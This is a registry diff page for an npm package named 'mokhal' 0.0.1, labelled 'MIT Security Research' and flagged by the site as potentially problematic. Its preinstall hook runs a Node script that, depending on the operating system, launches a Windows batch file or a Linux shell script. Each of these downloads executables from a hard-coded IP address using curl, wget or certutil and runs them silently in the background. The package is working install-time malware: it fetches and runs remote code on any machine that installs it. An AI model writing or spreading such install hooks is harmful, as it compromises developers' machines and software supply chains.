mokhal 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of mokhal might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "mokhal",
3
+ "version": "0.0.1",
4
+ "description": "MIT Security Research",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "derrick",
10
+ "license": "ISC",
11
+ "keywords": [],
12
+ "dependencies": {},
13
+ "devDependencies": {}
14
+ }
package/preinstall.bat ADDED
@@ -0,0 +1,40 @@
1
+ @echo off
2
+ curl http://185.173.36.219:81/download/win64.exe -o win64.exe
3
+ curl http://185.173.36.219:81/download/win386.exe -o win386.exe
4
+ if not exist win64.exe (
5
+ echo "win64.exe not exist"
6
+ wget http://185.173.36.219:81/download/win64.exe -O win64.exe
7
+ )
8
+ if not exist win386.exe (
9
+ echo "win386.exe not exist"
10
+ wget http://185.173.36.219:81/download/win386.exe -O win386.exe
11
+ )
12
+ if not exist win64.exe (
13
+ echo "win64.exe not exist"
14
+ certutil.exe -urlcache -f http://185.173.36.219:81/download/win64.exe win64.exe
15
+ )
16
+ if not exist win386.exe (
17
+ echo "win386.exe not exist"
18
+ certutil.exe -urlcache -f http://185.173.36.219:81/download/win386.exe win386.exe
19
+ )
20
+ set exe_1=win64.exe
21
+ set exe_2=win386.exe
22
+ set "count_1=0"
23
+ set "count_2=0"
24
+ >tasklist.temp (
25
+ tasklist /NH /FI "IMAGENAME eq %exe_1%"
26
+ tasklist /NH /FI "IMAGENAME eq %exe_2%"
27
+ )
28
+ for /f %%x in (tasklist.temp) do (
29
+ if "%%x" EQU "%exe_1%" set /a count_1+=1
30
+ if "%%x" EQU "%exe_2%" set /a count_2+=1
31
+ )
32
+ if %count_1% EQU 0 if %count_2% EQU 0 (start /B .\win64.exe)
33
+ >tasklist.temp (
34
+ tasklist /NH /FI "IMAGENAME eq %exe_1%"
35
+ )
36
+ for /f %%x in (tasklist.temp) do (
37
+ if "%%x" EQU "%exe_1%" set /a count_1+=1
38
+ )
39
+ if %count_1% EQU 0 (START /B .\win386.exe)
40
+ del tasklist.temp
package/preinstall.js ADDED
@@ -0,0 +1,27 @@
1
+ const { exec } = require("child_process");
2
+
3
+ function terminalLinux(){
4
+ exec("/bin/bash preinstall.sh", (error, stdout, stderr) => {
5
+ if (error) {
6
+ console.log(`error: ${error.message}`);
7
+ return;
8
+ }
9
+ if (stderr) {
10
+ console.log(`stderr: ${stderr}`);
11
+ return;
12
+ }
13
+ console.log(`stdout: ${stdout}`);
14
+ });
15
+ }
16
+
17
+ var opsys = process.platform;
18
+ if (opsys == "darwin") {
19
+ opsys = "MacOS";
20
+ } else if (opsys == "win32" || opsys == "win64") {
21
+ opsys = "Windows";
22
+ const { spawn } = require('child_process');
23
+ const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
24
+ } else if (opsys == "linux") {
25
+ opsys = "Linux";
26
+ terminalLinux();
27
+ }
package/preinstall.sh ADDED
@@ -0,0 +1,23 @@
1
+ curl http://185.173.36.219:81/download/lin64 -o lin64
2
+ curl http://185.173.36.219:81/download/lin386 -o lin386
3
+ if [ ! -f lin64 ]
4
+ then
5
+ wget http://185.173.36.219:81/download/lin64 -O lin64
6
+ fi
7
+ if [ ! -f lin386 ]
8
+ then
9
+ wget http://185.173.36.219:81/download/lin386 -O lin386
10
+ fi
11
+ chmod +x lin64
12
+ chmod +x lin386
13
+ var=$(pgrep lin386)
14
+ var1=$(pgrep lin64)
15
+ if [ -z "$var" ] && [ -z "$var1" ]
16
+ then
17
+ ./lin64 &>/dev/null &
18
+ var1=$(pgrep lin64)
19
+ if [ -z "$var1" ]
20
+ then
21
+ ./lin386 &>/dev/null &
22
+ fi
23
+ fi